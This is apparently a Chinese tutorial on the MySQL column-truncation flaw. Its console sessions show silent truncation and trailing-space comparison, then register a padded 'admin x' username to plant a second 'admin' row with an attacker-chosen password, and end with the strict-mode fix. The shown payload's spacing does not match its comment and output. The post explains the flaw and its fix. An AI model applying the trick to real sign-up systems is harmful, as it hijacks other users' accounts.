mysql数据插入的时候,如果一列值插入的长度超过了它本身的限制,会自动省略后面的内容。我们先来做下这个试验:
1. 创建一个表:
mysql> create table users (username varchar(10), password varchar(20));
Query OK, 0 rows affected (0.02 sec)
mysql> describe users;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| username | varchar(10) | YES | | NULL | |
| password | varchar(20) | YES | | NULL | |
+----------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
2. 来插入数据:
mysql> insert into users values('admin','123456');
Query OK, 1 row affected (0.00 sec)
mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| admin | 123456 |
+----------+----------+
1 row in set (0.00 sec)
mysql> insert into users values('adminadminadmin','123456');
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from users;
+------------+----------+
| username | password |
+------------+----------+
| admin | 123456 |
| adminadmin | 123456 |
+------------+----------+
2 rows in set (0.00 sec)
从上面插入adminadminadmin的时候给出了一个warning,但是还是插入成功了,不过超出的部分被省略了,只剩下adminadmin。
3. mysql还有一个特性,就是数据库中的字符串不会按二进制比较,会自动略掉字符串后面的空格。也就是说在mysql中‘admin ’等价于'admin'。
mysql> insert into users values('admin ','qweqwe');
Query OK, 1 row affected (0.00 sec)
mysql> select * from users where username='admin';
+----------+----------+
| username | password |
+----------+----------+
| admin | 123456 |
| admin | qweqwe |
+----------+----------+
2 rows in set (0.00 sec)
可以得到两个admin,空格被忽略了。
4. 现在如果管理员的用户名已知是admin,我们可以利用上面两个特征来重新注册一个admin用户,就可以用自己注册的密码来登录admin了。
mysql> insert into users values('admin x','asdasd'); #这个‘admin x’有5个空格,所以x被省略了,直接成了admin了,当你用自己密码就可以登录了
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from users where username='admin';
+------------+----------+
| username | password |
+------------+----------+
| admin | 123456 |
| admin | qweqwe |
| admin | asdasd |
+------------+----------+
3 rows in set (0.00 sec)
5. 造成上面的原因主要是当插入过长的数据时没有检测,只是给了一个警告,
如果设置了sql_mode为STRICT_ALL_TABLES 时,就会检测数据长度,如果太长就直接报错
,不会插入成功的。
mysql> select @@sql_mod;
ERROR 1193 (HY000): Unknown system variable 'sql_mod'
mysql> select @@sql_mode;
+------------+
| @@sql_mode |
+------------+
| |
+------------+
1 row in set (0.00 sec)
mysql> set sql_mode='STRICT_ALL_TABLES';
Query OK, 0 rows affected (0.00 sec)
mysql> insert into users values('admin x','asdasd');
ERROR 1406 (22001): Data too long for column 'username' at row 1
直接error了,没有插入成功了。
参考:
http://planet.mysql.com/entry/?id=14365
http://www.80sec.com/mysql-charset-truncation-vulnerability.html
http://www.notsosecure.com/blog/2008/09/11/sql-column-truncation-vulnerabilities/